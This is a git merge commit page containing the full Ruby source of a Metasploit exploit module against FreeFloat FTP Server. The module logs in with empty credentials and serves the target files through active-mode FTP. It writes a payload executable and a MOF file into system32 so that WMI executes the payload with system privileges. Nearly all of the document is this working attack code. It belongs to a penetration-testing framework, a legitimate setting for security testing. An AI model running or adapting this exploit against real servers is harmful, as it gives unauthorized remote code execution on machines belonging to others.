Merge branch 'freefloat' of git://github.com/wchen-r7/metasploit-framework into wchen-r7-freefloat
sinn3r
commit
e989142d9d
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Ftp
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include Msf::Exploit::Remote::TcpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::WbemExec
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "FreeFloat FTP Server Arbitrary File Upload",
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'Description' => %q{
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This module abuses multiple issues in FreeFloat: 1. No credential is actually
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needed to login; 2. User's default path is in C:\, and this cannot be changed;
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3. User can write to anywhere on the server's file system. As a result of these
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poor implementations, a malicious user can just log in and then upload files,
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and let WMI (Management Instrumentation service) to execute the payload uploaded.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'sinn3r', # Vulnerability discovery, Metasploit module
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['URL', 'http://metasploit.com']
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],
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'Platform' => 'win',
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'Targets' =>
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[
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['FreeFloat', {}]
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],
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'Privileged' => true,
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'DisclosureDate' => "Dec 7 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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# Change the default description so this option makes sense
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OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
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], self.class)
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deregister_options('FTPUSER', 'FTPPASS') # Using empty user and password
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end
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def check
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connect
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disconnect
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if banner =~ /FreeFloat/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def on_client_connect(cli)
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peer = "#{cli.peerhost}:#{cli.peerport}"
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case @stage
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when :exe
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print_status("#{peer} - Sending executable (#{@exe.length.to_s} bytes)")
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cli.put(@exe)
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@stage = :mof
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when :mof
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print_status("#{peer} - Sending MOF (#{@mof.length.to_s} bytes)")
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cli.put(@mof)
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end
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cli.close
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end
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def upload(filename)
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select(nil, nil, nil, 1)
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peer = "#{rhost}:#{rport}"
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print_status("#{peer} - Trying to upload #{::File.basename(filename)}")
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conn = connect(false, datastore['VERBOSE'])
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print_status("#{peer} - Sending empty login...")
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res = send_user("", conn)
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if not res or res !~ /331/
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print_error("#{peer} - Error sending username")
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return false
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end
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res = send_pass("", conn)
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if not res or res !~ /230/
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print_error("#{peer} - Error sending password")
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return false
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end
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print_good("#{peer} - Empty authentication was successful")
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# Switch to binary mode
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print_status("#{peer} - Set binary mode")
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send_cmd(['TYPE', 'I'], true, conn)
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# Prepare active mode: Get attacker's IP and source port
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src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
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src_port = datastore['SRVPORT'].to_i
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# Prepare active mode: Convert the IP and port for active mode
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src_ip = src_ip.gsub(/\./, ',')
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src_port = "#{src_port/256},#{src_port.remainder(256)}"
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# Set to active mode
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print_status("#{peer} - Set active mode \"#{src_ip},#{src_port}\"")
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send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
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# Tell the FTP server to download our file
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send_cmd(['STOR', filename], false, conn)
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disconnect(conn)
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end
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def exploit
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exe_name = "WINDOWS/system32/#{rand_text_alpha(rand(10)+5)}.exe"
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mof_name = "WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"
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@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
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@exe = generate_payload_exe
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@stage = :exe
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begin
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t = framework.threads.spawn("reqs", false) {
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# Upload our malicious executable
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u = upload(exe_name)
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# Upload the mof file
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upload(mof_name) if u
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register_file_for_cleanup("#{::File.basename(exe_name)}")
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register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
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}
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super
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ensure
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t.kill
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end
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end
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end
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